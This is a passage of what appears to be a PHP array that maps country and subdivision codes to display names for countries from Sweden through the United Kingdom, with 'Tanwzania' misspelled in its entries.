'SE-06' => 'Sweden: Hallands Lan',
'SE-07' => 'Sweden: Jamtlands Lan',
'SE-08' => 'Sweden: Jonkopings Lan',
'SE-09' => 'Sweden: Kalmar Lan',
'SE-11' => 'Sweden: Kristianstads Lan',
'SE-12' => 'Sweden: Kronobergs Lan',
'SE-13' => 'Sweden: Malmohus Lan',
'SE-14' => 'Sweden: Norrbottens Lan',
'SE-15' => 'Sweden: Orebro Lan',
'SE-16' => 'Sweden: Ostergotlands Lan',
'SE-27' => 'Sweden: Skane Lan',
'SE-17' => 'Sweden: Skaraborgs Lan',
'SE-18' => 'Sweden: Sodermanlands Lan',
'SE-26' => 'Sweden: Stockholms Lan',
'SE-21' => 'Sweden: Uppsala Lan',
'SE-22' => 'Sweden: Varmlands Lan',
'SE-23' => 'Sweden: Vasterbottens Lan',
'SE-24' => 'Sweden: Vasternorrlands Lan',
'SE-25' => 'Sweden: Vastmanlands Lan',
'SE-28' => 'Sweden: Vastra Gotaland',
'--CH' => '','-CH' =>
'Switzerland',
'CH-01' => 'Switzerland: Aargau',
'CH-02' => 'Switzerland: Ausser-Rhoden',
'CH-03' => 'Switzerland: Basel-Landschaft',
'CH-04' => 'Switzerland: Basel-Stadt',
'CH-05' => 'Switzerland: Bern',
'CH-06' => 'Switzerland: Fribourg',
'CH-07' => 'Switzerland: Geneve',
'CH-08' => 'Switzerland: Glarus',
'CH-09' => 'Switzerland: Graubunden',
'CH-10' => 'Switzerland: Inner-Rhoden',
'CH-26' => 'Switzerland: Jura',
'CH-11' => 'Switzerland: Luzern',
'CH-12' => 'Switzerland: Neuchatel',
'CH-13' => 'Switzerland: Nidwalden',
'CH-14' => 'Switzerland: Obwalden',
'CH-15' => 'Switzerland: Sankt Gallen',
'CH-16' => 'Switzerland: Schaffhausen',
'CH-17' => 'Switzerland: Schwyz',
'CH-18' => 'Switzerland: Solothurn',
'CH-19' => 'Switzerland: Thurgau',
'CH-20' => 'Switzerland: Ticino',
'CH-21' => 'Switzerland: Uri',
'CH-22' => 'Switzerland: Valais',
'CH-23' => 'Switzerland: Vaud',
'CH-24' => 'Switzerland: Zug',
'CH-25' => 'Switzerland: Zurich',
'--SY' => '','-SY' => 'Syrian Arab
Republic',
'SY-01' => 'Syrian Arab Republic: Al Hasakah',
'SY-02' => 'Syrian Arab Republic: Al Ladhiqiyah',
'SY-03' => 'Syrian Arab Republic: Al Qunaytirah',
'SY-04' => 'Syrian Arab Republic: Ar Raqqah',
'SY-05' => 'Syrian Arab Republic: As
Suwayda\'',
'SY-06' => 'Syrian Arab Republic: Dar',
'SY-07' => 'Syrian Arab Republic: Dayr az Zawr',
'SY-13' => 'Syrian Arab Republic: Dimashq',
'SY-09' => 'Syrian Arab Republic: Halab',
'SY-10' => 'Syrian Arab Republic: Hamah',
'SY-11' => 'Syrian Arab Republic: Hims',
'SY-12' => 'Syrian Arab Republic: Idlib',
'SY-08' => 'Syrian Arab Republic: Rif Dimashq',
'SY-14' => 'Syrian Arab Republic: Tartus',
'--TW' => '','-TW' =>
'Taiwan',
'TW-01' => 'Taiwan: Fu-chien',
'TW-02' => 'Taiwan: Kao-hsiung',
'TW-03' => 'Taiwan: T\'ai-pei',
'TW-04' => 'Taiwan: T\'ai-wan',
'--TJ' => '','-TJ' =>
'Tajikistan',
'TJ-02' => 'Tajikistan: Khatlon',
'TJ-01' => 'Tajikistan: Kuhistoni Badakhshon',
'TJ-03' => 'Tajikistan: Sughd',
'--TZ' => '','-TZ' =>
'Tanwzania',
'TZ-01' => 'Tanwzania: Arusha',
'TZ-23' => 'Tanwzania: Dar es Salaam',
'TZ-03' => 'Tanwzania: Dodoma',
'TZ-04' => 'Tanwzania: Iringa',
'TZ-19' => 'Tanwzania: Kagera',
'TZ-05' => 'Tanwzania: Kigoma',
'TZ-06' => 'Tanwzania: Kilimanjaro',
'TZ-07' => 'Tanwzania: Lindi',
'TZ-08' => 'Tanwzania: Mara',
'TZ-09' => 'Tanwzania: Mbeya',
'TZ-10' => 'Tanwzania: Morogoro',
'TZ-11' => 'Tanwzania: Mtwara',
'TZ-12' => 'Tanwzania: Mwanza',
'TZ-13' => 'Tanwzania: Pemba North',
'TZ-20' => 'Tanwzania: Pemba South',
'TZ-02' => 'Tanwzania: Pwani',
'TZ-24' => 'Tanwzania: Rukwa',
'TZ-14' => 'Tanwzania: Ruvuma',
'TZ-15' => 'Tanwzania: Shinyanga',
'TZ-16' => 'Tanwzania: Singida',
'TZ-17' => 'Tanwzania: Tabora',
'TZ-18' => 'Tanwzania: Tanga',
'TZ-21' => 'Tanwzania: Zanzibar Central',
'TZ-22' => 'Tanwzania: Zanzibar North',
'TZ-25' => 'Tanwzania: Zanzibar Urban',
'--TH' => '','-TH' =>
'Thailand',
'TH-35' => 'Thailand: Ang Thong',
'TH-28' => 'Thailand: Buriram',
'TH-44' => 'Thailand: Chachoengsao',
'TH-32' => 'Thailand: Chai Nat',
'TH-26' => 'Thailand: Chaiyaphum',
'TH-48' => 'Thailand: Chanthaburi',
'TH-02' => 'Thailand: Chiang Mai',
'TH-03' => 'Thailand: Chiang Rai',
'TH-46' => 'Thailand: Chon Buri',
'TH-58' => 'Thailand: Chumphon',
'TH-23' => 'Thailand: Kalasin',
'TH-11' => 'Thailand: Kamphaeng Phet',
'TH-50' => 'Thailand: Kanchanaburi',
'TH-22' => 'Thailand: Khon Kaen',
'TH-63' => 'Thailand: Krabi',
'TH-40' => 'Thailand: Krung Thep',
'TH-06' => 'Thailand: Lampang',
'TH-05' => 'Thailand: Lamphun',
'TH-18' => 'Thailand: Loei',
'TH-34' => 'Thailand: Lop Buri',
'TH-01' => 'Thailand: Mae Hong Son',
'TH-24' => 'Thailand: Maha Sarakham',
'TH-78' => 'Thailand: Mukdahan',
'TH-43' => 'Thailand: Nakhon Nayok',
'TH-53' => 'Thailand: Nakhon Pathom',
'TH-21' => 'Thailand: Nakhon Phanom',
'TH-27' => 'Thailand: Nakhon Ratchasima',
'TH-16' => 'Thailand: Nakhon Sawan',
'TH-64' => 'Thailand: Nakhon Si Thammarat',
'TH-04' => 'Thailand: Nan',
'TH-31' => 'Thailand: Narathiwat',
'TH-17' => 'Thailand: Nong Khai',
'TH-38' => 'Thailand: Nonthaburi',
'TH-39' => 'Thailand: Pathum Thani',
'TH-69' => 'Thailand: Pattani',
'TH-61' => 'Thailand: Phangnga',
'TH-66' => 'Thailand: Phatthalung',
'TH-41' => 'Thailand: Phayao',
'TH-14' => 'Thailand: Phetchabun',
'TH-56' => 'Thailand: Phetchaburi',
'TH-13' => 'Thailand: Phichit',
'TH-12' => 'Thailand: Phitsanulok',
'TH-36' => 'Thailand: Phra Nakhon Si Ayutthaya',
'TH-07' => 'Thailand: Phrae',
'TH-62' => 'Thailand: Phuket',
'TH-45' => 'Thailand: Prachin Buri',
'TH-57' => 'Thailand: Prachuap Khiri Khan',
'TH-59' => 'Thailand: Ranong',
'TH-52' => 'Thailand: Ratchaburi',
'TH-47' => 'Thailand: Rayong',
'TH-25' => 'Thailand: Roi Et',
'TH-20' => 'Thailand: Sakon Nakhon',
'TH-42' => 'Thailand: Samut Prakan',
'TH-55' => 'Thailand: Samut Sakhon',
'TH-54' => 'Thailand: Samut Songkhram',
'TH-37' => 'Thailand: Saraburi',
'TH-67' => 'Thailand: Satun',
'TH-33' => 'Thailand: Sing Buri',
'TH-30' => 'Thailand: Sisaket',
'TH-68' => 'Thailand: Songkhla',
'TH-09' => 'Thailand: Sukhothai',
'TH-51' => 'Thailand: Suphan Buri',
'TH-60' => 'Thailand: Surat Thani',
'TH-29' => 'Thailand: Surin',
'TH-08' => 'Thailand: Tak',
'TH-65' => 'Thailand: Trang',
'TH-49' => 'Thailand: Trat',
'TH-75' => 'Thailand: Ubon Ratchathani',
'TH-76' => 'Thailand: Udon Thani',
'TH-15' => 'Thailand: Uthai Thani',
'TH-10' => 'Thailand: Uttaradit',
'TH-70' => 'Thailand: Yala',
'TH-72' => 'Thailand: Yasothon',
'--TG' => '','-TG' => 'Togo',
'TG-01' => 'Togo: Amlame',
'TG-02' => 'Togo: Aneho',
'TG-03' => 'Togo: Atakpame',
'TG-15' => 'Togo: Badou',
'TG-04' => 'Togo: Bafilo',
'TG-05' => 'Togo: Bassar',
'TG-06' => 'Togo: Dapaong',
'TG-07' => 'Togo: Kante',
'TG-08' => 'Togo: Klouto',
'TG-14' => 'Togo: Kpagouda',
'TG-09' => 'Togo: Lama-Kara',
'TG-10' => 'Togo: Lome',
'TG-11' => 'Togo: Mango',
'TG-12' => 'Togo: Niamtougou',
'TG-13' => 'Togo: Notse',
'TG-16' => 'Togo: Sotouboua',
'TG-17' => 'Togo: Tabligbo',
'TG-19' => 'Togo: Tchamba',
'TG-20' => 'Togo: Tchaoudjo',
'TG-18' => 'Togo: Tsevie',
'TG-21' => 'Togo: Vogan',
'--TO' => '','-TO' =>
'Tonga',
'TO-01' => 'Tonga: Ha',
'TO-02' => 'Tonga: Tongatapu',
'TO-03' => 'Tonga: Vava',
'--TT' => '','-TT' => 'Trinidad
and Tobago',
'TT-01' => 'Trinidad and Tobago: Arima',
'TT-02' => 'Trinidad and Tobago: Caroni',
'TT-03' => 'Trinidad and Tobago: Mayaro',
'TT-04' => 'Trinidad and Tobago: Nariva',
'TT-05' => 'Trinidad and Tobago: Port-of-Spain',
'TT-06' => 'Trinidad and Tobago: Saint Andrew',
'TT-07' => 'Trinidad and Tobago: Saint David',
'TT-08' => 'Trinidad and Tobago: Saint George',
'TT-09' => 'Trinidad and Tobago: Saint Patrick',
'TT-10' => 'Trinidad and Tobago: San Fernando',
'TT-11' => 'Trinidad and Tobago: Tobago',
'TT-12' => 'Trinidad and Tobago: Victoria',
'--TN' => '','-TN' =>
'Tunisia',
'TN-15' => 'Tunisia: Al Mahdiyah',
'TN-16' => 'Tunisia: Al Munastir',
'TN-02' => 'Tunisia: Al Qasrayn',
'TN-03' => 'Tunisia: Al Qayrawan',
'TN-38' => 'Tunisia: Ariana',
'TN-17' => 'Tunisia: Bajah',
'TN-18' => 'Tunisia: Banzart',
'TN-27' => 'Tunisia: Bin',
'TN-06' => 'Tunisia: Jundubah',
'TN-14' => 'Tunisia: Kef',
'TN-28' => 'Tunisia: Madanin',
'TN-39' => 'Tunisia: Manouba',
'TN-19' => 'Tunisia: Nabul',
'TN-29' => 'Tunisia: Qabis',
'TN-10' => 'Tunisia: Qafsah',
'TN-31' => 'Tunisia: Qibili',
'TN-32' => 'Tunisia: Safaqis',
'TN-33' => 'Tunisia: Sidi Bu Zayd',
'TN-22' => 'Tunisia: Silyanah',
'TN-23' => 'Tunisia: Susah',
'TN-34' => 'Tunisia: Tatawin',
'TN-35' => 'Tunisia: Tawzar',
'TN-36' => 'Tunisia: Tunis',
'TN-37' => 'Tunisia: Zaghwan',
'--TR' => '','-TR' =>
'Turkey',
'TR-81' => 'Turkey: Adana',
'TR-02' => 'Turkey: Adiyaman',
'TR-03' => 'Turkey: Afyon',
'TR-04' => 'Turkey: Agri',
'TR-75' => 'Turkey: Aksaray',
'TR-05' => 'Turkey: Amasya',
'TR-68' => 'Turkey: Ankara',
'TR-07' => 'Turkey: Antalya',
'TR-86' => 'Turkey: Ardahan',
'TR-08' => 'Turkey: Artvin',
'TR-09' => 'Turkey: Aydin',
'TR-10' => 'Turkey: Balikesir',
'TR-87' => 'Turkey: Bartin',
'TR-76' => 'Turkey: Batman',
'TR-77' => 'Turkey: Bayburt',
'TR-11' => 'Turkey: Bilecik',
'TR-12' => 'Turkey: Bingol',
'TR-13' => 'Turkey: Bitlis',
'TR-14' => 'Turkey: Bolu',
'TR-15' => 'Turkey: Burdur',
'TR-16' => 'Turkey: Bursa',
'TR-17' => 'Turkey: Canakkale',
'TR-82' => 'Turkey: Cankiri',
'TR-19' => 'Turkey: Corum',
'TR-20' => 'Turkey: Denizli',
'TR-21' => 'Turkey: Diyarbakir',
'TR-93' => 'Turkey: Duzce',
'TR-22' => 'Turkey: Edirne',
'TR-23' => 'Turkey: Elazig',
'TR-24' => 'Turkey: Erzincan',
'TR-25' => 'Turkey: Erzurum',
'TR-26' => 'Turkey: Eskisehir',
'TR-83' => 'Turkey: Gaziantep',
'TR-28' => 'Turkey: Giresun',
'TR-69' => 'Turkey: Gumushane',
'TR-70' => 'Turkey: Hakkari',
'TR-31' => 'Turkey: Hatay',
'TR-32' => 'Turkey: Icel',
'TR-88' => 'Turkey: Igdir',
'TR-33' => 'Turkey: Isparta',
'TR-34' => 'Turkey: Istanbul',
'TR-35' => 'Turkey: Izmir',
'TR-46' => 'Turkey: Kahramanmaras',
'TR-89' => 'Turkey: Karabuk',
'TR-78' => 'Turkey: Karaman',
'TR-84' => 'Turkey: Kars',
'TR-37' => 'Turkey: Kastamonu',
'TR-38' => 'Turkey: Kayseri',
'TR-90' => 'Turkey: Kilis',
'TR-79' => 'Turkey: Kirikkale',
'TR-39' => 'Turkey: Kirklareli',
'TR-40' => 'Turkey: Kirsehir',
'TR-41' => 'Turkey: Kocaeli',
'TR-71' => 'Turkey: Konya',
'TR-43' => 'Turkey: Kutahya',
'TR-44' => 'Turkey: Malatya',
'TR-45' => 'Turkey: Manisa',
'TR-72' => 'Turkey: Mardin',
'TR-48' => 'Turkey: Mugla',
'TR-49' => 'Turkey: Mus',
'TR-50' => 'Turkey: Nevsehir',
'TR-73' => 'Turkey: Nigde',
'TR-52' => 'Turkey: Ordu',
'TR-91' => 'Turkey: Osmaniye',
'TR-53' => 'Turkey: Rize',
'TR-54' => 'Turkey: Sakarya',
'TR-55' => 'Turkey: Samsun',
'TR-63' => 'Turkey: Sanliurfa',
'TR-74' => 'Turkey: Siirt',
'TR-57' => 'Turkey: Sinop',
'TR-80' => 'Turkey: Sirnak',
'TR-58' => 'Turkey: Sivas',
'TR-59' => 'Turkey: Tekirdag',
'TR-60' => 'Turkey: Tokat',
'TR-61' => 'Turkey: Trabzon',
'TR-62' => 'Turkey: Tunceli',
'TR-64' => 'Turkey: Usak',
'TR-65' => 'Turkey: Van',
'TR-92' => 'Turkey: Yalova',
'TR-66' => 'Turkey: Yozgat',
'TR-85' => 'Turkey: Zonguldak',
'--TM' => '','-TM' =>
'Turkmenistan',
'TM-01' => 'Turkmenistan: Ahal',
'TM-02' => 'Turkmenistan: Balkan',
'TM-03' => 'Turkmenistan: Dashoguz',
'TM-04' => 'Turkmenistan: Lebap',
'TM-05' => 'Turkmenistan: Mary',
'--UG' => '','-UG' =>
'Uganda',
'UG-65' => 'Uganda: Adjumani',
'UG-77' => 'Uganda: Arua',
'UG-66' => 'Uganda: Bugiri',
'UG-67' => 'Uganda: Busia',
'UG-05' => 'Uganda: Busoga',
'UG-18' => 'Uganda: Central',
'UG-20' => 'Uganda: Eastern',
'UG-78' => 'Uganda: Iganga',
'UG-79' => 'Uganda: Kabarole',
'UG-80' => 'Uganda: Kaberamaido',
'UG-37' => 'Uganda: Kampala',
'UG-81' => 'Uganda: Kamwenge',
'UG-82' => 'Uganda: Kanungu',
'UG-08' => 'Uganda: Karamoja',
'UG-69' => 'Uganda: Katakwi',
'UG-83' => 'Uganda: Kayunga',
'UG-84' => 'Uganda: Kitgum',
'UG-85' => 'Uganda: Kyenjojo',
'UG-86' => 'Uganda: Mayuge',
'UG-87' => 'Uganda: Mbale',
'UG-88' => 'Uganda: Moroto',
'UG-89' => 'Uganda: Mpigi',
'UG-90' => 'Uganda: Mukono',
'UG-91' => 'Uganda: Nakapiripirit',
'UG-73' => 'Uganda: Nakasongola',
'UG-21' => 'Uganda: Nile',
'UG-22' => 'Uganda: North Buganda',
'UG-23' => 'Uganda: Northern',
'UG-92' => 'Uganda: Pader',
'UG-93' => 'Uganda: Rukungiri',
'UG-74' => 'Uganda: Sembabule',
'UG-94' => 'Uganda: Sironko',
'UG-95' => 'Uganda: Soroti',
'UG-12' => 'Uganda: South Buganda',
'UG-24' => 'Uganda: Southern',
'UG-96' => 'Uganda: Wakiso',
'UG-25' => 'Uganda: Western',
'UG-97' => 'Uganda: Yumbe',
'--UA' => '','-UA' =>
'Ukraine',
'UA-01' => 'Ukraine: Cherkas\'ka
Oblast\'',
'UA-02' => 'Ukraine: Chernihivs\'ka
Oblast\'',
'UA-03' => 'Ukraine: Chernivets\'ka
Oblast\'',
'UA-04' => 'Ukraine: Dnipropetrovs\'ka
Oblast\'',
'UA-05' => 'Ukraine: Donets\'ka Oblast\'',
'UA-06' => 'Ukraine: Ivano-Frankivs\'ka
Oblast\'',
'UA-07' => 'Ukraine: Kharkivs\'ka
Oblast\'',
'UA-08' => 'Ukraine: Khersons\'ka
Oblast\'',
'UA-09' => 'Ukraine: Khmel\'nyts\'ka
Oblast\'',
'UA-10' => 'Ukraine: Kirovohrads\'ka
Oblast\'',
'UA-11' => 'Ukraine: Krym',
'UA-12' => 'Ukraine: Kyyiv',
'UA-13' => 'Ukraine: Kyyivs\'ka Oblast\'',
'UA-14' => 'Ukraine: Luhans\'ka Oblast\'',
'UA-15' => 'Ukraine: L\'vivs\'ka
Oblast\'',
'UA-16' => 'Ukraine: Mykolayivs\'ka
Oblast\'',
'UA-17' => 'Ukraine: Odes\'ka Oblast\'',
'UA-18' => 'Ukraine: Poltavs\'ka
Oblast\'',
'UA-19' => 'Ukraine: Rivnens\'ka
Oblast\'',
'UA-20' => 'Ukraine: Sevastopol\'',
'UA-21' => 'Ukraine: Sums\'ka Oblast\'',
'UA-22' => 'Ukraine: Ternopil\'s\'ka
Oblast\'',
'UA-23' => 'Ukraine: Vinnyts\'ka
Oblast\'',
'UA-24' => 'Ukraine: Volyns\'ka Oblast\'',
'UA-25' => 'Ukraine: Zakarpats\'ka
Oblast\'',
'UA-26' => 'Ukraine: Zaporiz\'ka
Oblast\'',
'UA-27' => 'Ukraine: Zhytomyrs\'ka
Oblast\'',
'--AE' => '','-AE' => 'United Arab
Emirates',
'AE-01' => 'United Arab Emirates: Abu Dhabi',
'AE-02' => 'United Arab Emirates: Ajman',
'AE-03' => 'United Arab Emirates: Dubai',
'AE-04' => 'United Arab Emirates: Fujairah',
'AE-05' => 'United Arab Emirates: Ras Al Khaimah',
'AE-06' => 'United Arab Emirates: Sharjah',
'AE-07' => 'United Arab Emirates: Umm Al Quwain',
'--GB' => '','-GB' => 'United
Kingdom',
'GB-T5' => 'United Kingdom: Aberdeen City',
'GB-T6' => 'United Kingdom: Aberdeenshire',
'GB-T7' => 'United Kingdom: Angus',
'GB-Q6' => 'United Kingdom: Antrim',
'GB-Q7' => 'United Kingdom: Ards',
'GB-T8' => 'United Kingdom: Argyll and Bute',
'GB-Q8' => 'United Kingdom: Armagh',
'GB-01' => 'United Kingdom: Avon',
'GB-Q9' => 'United Kingdom: Ballymena',
'GB-R1' => 'United Kingdom: Ballymoney',
'GB-R2' => 'United Kingdom: Banbridge',
'GB-A1' => 'United Kingdom: Barking and Dagenham',
'GB-A2' => 'United Kingdom: Barnet',
'GB-A3' => 'United Kingdom: Barnsley',
'GB-A4' => 'United Kingdom: Bath and North East
Somerset',
'GB-A5' => 'United Kingdom: Bedfordshire',
'GB-R3' => 'United Kingdom: Belfast',
'GB-03' => 'United Kingdom: Berkshire',
'GB-A6' => 'United Kingdom: Bexley',
'GB-A7' => 'United Kingdom: Birmingham',
'GB-A8' => 'United Kingdom: Blackburn with Darwen',
'GB-A9' => 'United Kingdom: Blackpool',
'GB-X2' => 'United Kingdom: Blaenau Gwent',
'GB-B1' => 'United Kingdom: Bolton',
'GB-B2' => 'United Kingdom: Bournemouth',
'GB-B3' => 'United Kingdom: Bracknell Forest',
'GB-B4' => 'United Kingdom: Bradford',
'GB-B5' => 'United Kingdom: Brent',
'GB-X3' => 'United Kingdom: Bridgend',
'GB-B6' => 'United Kingdom: Brighton and Hove',
'GB-B7' => 'United Kingdom: Bristol',
'GB-B8' => 'United Kingdom: Bromley',
'GB-B9' => 'United Kingdom: Buckinghamshire',
'GB-C1' => 'United Kingdom: Bury',
'GB-X4' => 'United Kingdom: Caerphilly',
'GB-C2' => 'United Kingdom: Calderdale',
'GB-C3' => 'United Kingdom: Cambridgeshire',
'GB-C4' => 'United Kingdom: Camden',
'GB-X5' => 'United Kingdom: Cardiff',
'GB-X7' => 'United Kingdom: Carmarthenshire',
'GB-R4' => 'United Kingdom: Carrickfergus',
'GB-R5' => 'United Kingdom: Castlereagh',
'GB-79' => 'United Kingdom: Central',
'GB-X6' => 'United Kingdom: Ceredigion',
'GB-C5' => 'United Kingdom: Cheshire',
'GB-U1' => 'United Kingdom: Clackmannanshire',
'GB-07' => 'United Kingdom: Cleveland',
'GB-90' => 'United Kingdom: Clwyd',
'GB-R6' => 'United Kingdom: Coleraine',
'GB-X8' => 'United Kingdom: Conwy',
'GB-R7' => 'United Kingdom: Cookstown',
'GB-C6' => 'United Kingdom: Cornwall',
'GB-C7' => 'United Kingdom: Coventry',
'GB-R8' => 'United Kingdom: Craigavon',
'GB-C8' => 'United Kingdom: Croydon',
'GB-C9' => 'United Kingdom: Cumbria',
'GB-D1' => 'United Kingdom: Darlington',
'GB-X9' => 'United Kingdom: Denbighshire',
'GB-D2' => 'United Kingdom: Derby',
'GB-D3' => 'United Kingdom: Derbyshire',
'GB-S6' => 'United Kingdom: Derry',
'GB-D4' => 'United Kingdom: Devon',
'GB-D5' => 'United Kingdom: Doncaster',
'GB-D6' => 'United Kingdom: Dorset',
'GB-R9' => 'United Kingdom: Down',
'GB-D7' => 'United Kingdom: Dudley',
'GB-U2' => 'United Kingdom: Dumfries and Galloway',
'GB-U3' => 'United Kingdom: Dundee City',
'GB-S1' => 'United Kingdom: Dungannon',
'GB-D8' => 'United Kingdom: Durham',
'GB-91' => 'United Kingdom: Dyfed',
'GB-D9' => 'United Kingdom: Ealing',
'GB-U4' => 'United Kingdom: East Ayrshire',
'GB-U5' => 'United Kingdom: East Dunbartonshire',
'GB-U6' => 'United Kingdom: East Lothian',
'GB-U7' => 'United Kingdom: East Renfrewshire',
'GB-E1' => 'United Kingdom: East Riding of
Yorkshire',
'GB-E2' => 'United Kingdom: East Sussex',
'GB-U8' => 'United Kingdom: Edinburgh',
'GB-W8' => 'United Kingdom: Eilean Siar',
'GB-E3' => 'United Kingdom: Enfield',
'GB-E4' => 'United Kingdom: Essex',
'GB-U9' => 'United Kingdom: Falkirk',
'GB-S2' => 'United Kingdom: Fermanagh',
'GB-V1' => 'United Kingdom: Fife',
'GB-Y1' => 'United Kingdom: Flintshire',
'GB-E5' => 'United Kingdom: Gateshead',
'GB-V2' => 'United Kingdom: Glasgow City',
'GB-E6' => 'United Kingdom: Gloucestershire',
'GB-82' => 'United Kingdom: Grampian',
'GB-17' => 'United Kingdom: Greater London',
'GB-18' => 'United Kingdom: Greater Manchester',
'GB-E7' => 'United Kingdom: Greenwich',
'GB-92' => 'United Kingdom: Gwent',
'GB-Y2' => 'United Kingdom: Gwynedd',
'GB-E8' => 'United Kingdom: Hackney',
'GB-E9' => 'United Kingdom: Halton',
'GB-F1' => 'United Kingdom: Hammersmith and Fulham',
'GB-F2' => 'United Kingdom: Hampshire',
'GB-F3' => 'United Kingdom: Haringey',
'GB-F4' => 'United Kingdom: Harrow',
'GB-F5' => 'United Kingdom: Hartlepool',
'GB-F6' => 'United Kingdom: Havering',
'GB-20' => 'United Kingdom: Hereford and Worcester',
'GB-F7' => 'United Kingdom: Herefordshire',
'GB-F8' => 'United Kingdom: Hertford',
'GB-V3' => 'United Kingdom: Highland',
'GB-F9' => 'United Kingdom: Hillingdon',
'GB-G1' => 'United Kingdom: Hounslow',
'GB-22' => 'United Kingdom: Humberside',
'GB-V4' => 'United Kingdom: Inverclyde',
'GB-X1' => 'United Kingdom: Isle of Anglesey',
'GB-G2' => 'United Kingdom: Isle of Wight',
'GB-G3' => 'United Kingdom: Islington',
'GB-G4' => 'United Kingdom: Kensington and Chelsea',
'GB-G5' => 'United Kingdom: Kent',
'GB-G6' => 'United Kingdom: Kingston upon Hull',
'GB-G7' => 'United Kingdom: Kingston upon Thames',
'GB-G8' => 'United Kingdom: Kirklees',
'GB-G9' => 'United Kingdom: Knowsley',
'GB-H1' => 'United Kingdom: Lambeth',
'GB-H2' => 'United Kingdom: Lancashire',
'GB-S3' => 'United Kingdom: Larne',
'GB-H3' => 'United Kingdom: Leeds',
'GB-H4' => 'United Kingdom: Leicester',
'GB-H5' => 'United Kingdom: Leicestershire',
'GB-H6' => 'United Kingdom: Lewisham',
'GB-S4' => 'United Kingdom: Limavady',
'GB-H7' => 'United Kingdom: Lincolnshire',
'GB-S5' => 'United Kingdom: Lisburn',
'GB-H8' => 'United Kingdom: Liverpool',
'GB-H9' => 'United Kingdom: London',
'GB-84' => 'United Kingdom: Lothian',
'GB-I1' => 'United Kingdom: Luton',
'GB-S7' => 'United Kingdom: Magherafelt',
'GB-I2' => 'United Kingdom: Manchester',
'GB-I3' => 'United Kingdom: Medway',
'GB-28' => 'United Kingdom: Merseyside',
'GB-Y3' => 'United Kingdom: Merthyr Tydfil',
'GB-I4' => 'United Kingdom: Merton',
'GB-94' => 'United Kingdom: Mid Glamorgan',
'GB-I5' => 'United Kingdom: Middlesbrough',
'GB-V5' => 'United Kingdom: Midlothian',
'GB-I6' => 'United Kingdom: Milton Keynes',
'GB-Y4' => 'United Kingdom: Monmouthshire',
'GB-V6' => 'United Kingdom: Moray',
'GB-S8' => 'United Kingdom: Moyle',
'GB-Y5' => 'United Kingdom: Neath Port Talbot',
'GB-I7' => 'United Kingdom: Newcastle upon Tyne',
'GB-I8' => 'United Kingdom: Newham',
'GB-Y6' => 'United Kingdom: Newport',
'GB-S9' => 'United Kingdom: Newry and Mourne',
'GB-T1' => 'United Kingdom: Newtownabbey',
'GB-I9' => 'United Kingdom: Norfolk',
'GB-V7' => 'United Kingdom: North Ayrshire',
'GB-T2' => 'United Kingdom: North Down',
'GB-J2' => 'United Kingdom: North East
Lincolnshire',
'GB-V8' => 'United Kingdom: North Lanarkshire',
'GB-J3' => 'United Kingdom: North Lincolnshire',
'GB-J4' => 'United Kingdom: North Somerset',
'GB-J5' => 'United Kingdom: North Tyneside',
'GB-J7' => 'United Kingdom: North Yorkshire',
'GB-J1' => 'United Kingdom: Northamptonshire',
'GB-J6' => 'United Kingdom: Northumberland',
'GB-J8' => 'United Kingdom: Nottingham',
'GB-J9' => 'United Kingdom: Nottinghamshire',
'GB-K1' => 'United Kingdom: Oldham',
'GB-T3' => 'United Kingdom: Omagh',
'GB-V9' => 'United Kingdom: Orkney',
'GB-K2' => 'United Kingdom: Oxfordshire',
'GB-Y7' => 'United Kingdom: Pembrokeshire',
'GB-W1' => 'United Kingdom: Perth and Kinross',
'GB-K3' => 'United Kingdom: Peterborough',
'GB-K4' => 'United Kingdom: Plymouth',
'GB-K5' => 'United Kingdom: Poole',
'GB-K6' => 'United Kingdom: Portsmouth',
'GB-Y8' => 'United Kingdom: Powys',
'GB-K7' => 'United Kingdom: Reading',
'GB-K8' => 'United Kingdom: Redbridge',
'GB-K9' => 'United Kingdom: Redcar and Cleveland',
'GB-W2' => 'United Kingdom: Renfrewshire',
'GB-Y9' => 'United Kingdom: Rhondda Cynon Taff',
'GB-L1' => 'United Kingdom: Richmond upon Thames',
'GB-L2' => 'United Kingdom: Rochdale',
'GB-L3' => 'United Kingdom: Rotherham',
'GB-L4' => 'United Kingdom: Rutland',
'GB-L5' => 'United Kingdom: Salford',
'GB-L7' => 'United Kingdom: Sandwell',
'GB-T9' => 'United Kingdom: Scottish Borders',
'GB-L8' => 'United Kingdom: Sefton',
'GB-L9' => 'United Kingdom: Sheffield',
'GB-W3' => 'United Kingdom: Shetland Islands',
'GB-L6' => 'United Kingdom: Shropshire',
'GB-M1' => 'United Kingdom: Slough',
'GB-M2' => 'United Kingdom: Solihull',
'GB-M3' => 'United Kingdom: Somerset',
'GB-W4' => 'United Kingdom: South Ayrshire',
'GB-96' => 'United Kingdom: South Glamorgan',
'GB-M6' => 'United Kingdom: South Gloucestershire',
'GB-W5' => 'United Kingdom: South Lanarkshire',
'GB-M7' => 'United Kingdom: South Tyneside',
'GB-37' => 'United Kingdom: South Yorkshire',
'GB-M4' => 'United Kingdom: Southampton',
'GB-M5' => 'United Kingdom: Southend-on-Sea',
'GB-M8' => 'United Kingdom: Southwark',
'GB-N1' => 'United Kingdom: St. Helens',
'GB-M9' => 'United Kingdom: Staffordshire',
'GB-W6' => 'United Kingdom: Stirling',
'GB-N2' => 'United Kingdom: Stockport',
'GB-N3' => 'United Kingdom: Stockton-on-Tees',
'GB-N4' => 'United Kingdom: Stoke-on-Trent',
'GB-T4' => 'United Kingdom: Strabane',
'GB-87' => 'United Kingdom: Strathclyde',
'GB-N5' => 'United Kingdom: Suffolk',
'GB-N6' => 'United Kingdom: Sunderland',
'GB-N7' => 'United Kingdom: Surrey',
'GB-N8' => 'United Kingdom: Sutton',
'GB-Z1' => 'United Kingdom: Swansea',
'GB-N9' => 'United Kingdom: Swindon',
'GB-O1' => 'United Kingdom: Tameside',
'GB-88' => 'United Kingdom: Tayside',
'GB-O2' => 'United Kingdom: Telford and Wrekin',
'GB-O3' => 'United Kingdom: Thurrock',
'GB-O4' => 'United Kingdom: Torbay',
'GB-Z2' => 'United Kingdom: Torfaen',
'GB-O5' => 'United Kingdom: Tower Hamlets',
'GB-O6' => 'United Kingdom: Trafford',
'GB-41' => 'United Kingdom: Tyne and Wear',
'GB-Z3' => 'United Kingdom: Vale of Glamorgan',
'GB-O7' => 'United Kingdom: Wakefield',
'GB-O8' => 'United Kingdom: Walsall',
'GB-O9' => 'United Kingdom: Waltham Forest',
'GB-P1' => 'United Kingdom: Wandsworth',
'GB-P2' => 'United Kingdom: Warrington',
'GB-P3' => 'United Kingdom: Warwickshire',
